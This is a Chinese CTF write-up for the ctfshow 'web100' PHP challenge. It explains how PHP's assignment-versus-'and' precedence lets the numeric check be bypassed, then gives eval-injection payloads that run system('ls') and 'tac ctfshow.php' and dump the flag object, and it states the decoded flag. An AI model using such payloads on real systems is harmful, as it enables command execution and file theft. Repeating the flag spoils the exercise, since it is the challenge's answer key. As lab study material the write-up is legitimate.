web100笔记(is_numeric() 函数,php运算优先级&&> = > and)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 17 Notice: Undefined index: v2 in /var/www/html/index.php on line 18 Notice: Undefined index: v3 in /var/www/html/index.php on line 19
一共需要传三个get参数,然后$vo是对三个参数的与的结果,了解一下is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
后⾯有 eval 函数,明示需要进⾏命令执⾏ v3需要有分号,v2不能有分号
这样的话v0就 = $v1 and FALSE and FALSE
但是php的运算具有优先级
但php有运算的优先级,也就是
&&> = > and如$a = true and false;,因为等号⼤于and,所以这⾥赋值为$a = True
按照运算优先级,先执行
=也就是赋值给$a为true,false就被忽略了,思路也就有了,
eval("$v2('ctfshow')$v3");
payload为
?v1=1&v2=system("ls")&v3=;

?v1=1&v2=system("tac%20ctfshow.php")&v3=;
题目答案:
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
$flag_is_266f12260x2dae2a0x2d4a660x2da5270x2df874bdad2500
0x2d转成-
266f1226-ae2a-4a66-a527-f874bdad2500
浙公网安备 33010602011771号